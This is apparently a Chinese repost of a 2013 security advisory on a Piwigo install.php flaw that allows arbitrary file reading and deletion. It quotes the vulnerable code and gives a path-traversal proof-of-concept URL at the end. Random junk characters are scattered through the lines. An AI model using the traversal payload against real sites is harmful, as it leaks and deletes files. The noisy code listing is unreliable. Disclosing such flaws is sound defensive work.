Piwigo任意文件泄露和任意文件删除漏洞

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Piwigo是用PHP编写的相册脚本。

Piwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值，在实现上存在安全漏洞，攻击者可利用这些漏洞查看受影响计算机上的任意文件，删除受影响应用上下文内的任意文件。
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( Q5 ~) _8 R; B* @/ Z% L/install.php:
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113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
+ l  j5 t7 D2 D5 e114: {
115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
116:   header('Cache-Control: no-cache, must-revalidate');
# J6 u/ L4 a1 Z9 u+ _) g9 E) t117:   header('Pragma: no-cache');
( j, d; F, p& C. a$ t4 \118:   header('Content-Disposition: attachment; filename="database.inc.php"');
6 f/ P6 U5 p, J" |/ h119:   header('Content-Transfer-Encoding: binary');
1 @8 u  V7 s% t% h5 q8 H4 }120:   header('Content-Length: '.filesize($filename));
! {% k0 N7 U4 m( X121:   echo file_get_contents($filename);
6 L. p  o3 y" o9 z# p5 E, J4 X122:   unlink($filename);
( f& k$ y! `+ R, B  R; g5 T123:   exit();
0 D9 C& n2 D6 H2 ?2 F124: }
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Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
           Apache 2.4.2 (Win32)
! J5 p. Y# [) l; V9 h5 P1 L, u. ^           PHP 5.4.4
           MySQL 5.5.25a

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience

Advisory ID: ZSL-2013-5127
  [$ P+ K9 u6 Q9 |( X/ |0 sAdvisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
Vendor Patch: http://piwigo.org/bugs/view.php?id=2843

* z1 g: x# M9 \8 \15.02.2013
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http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt

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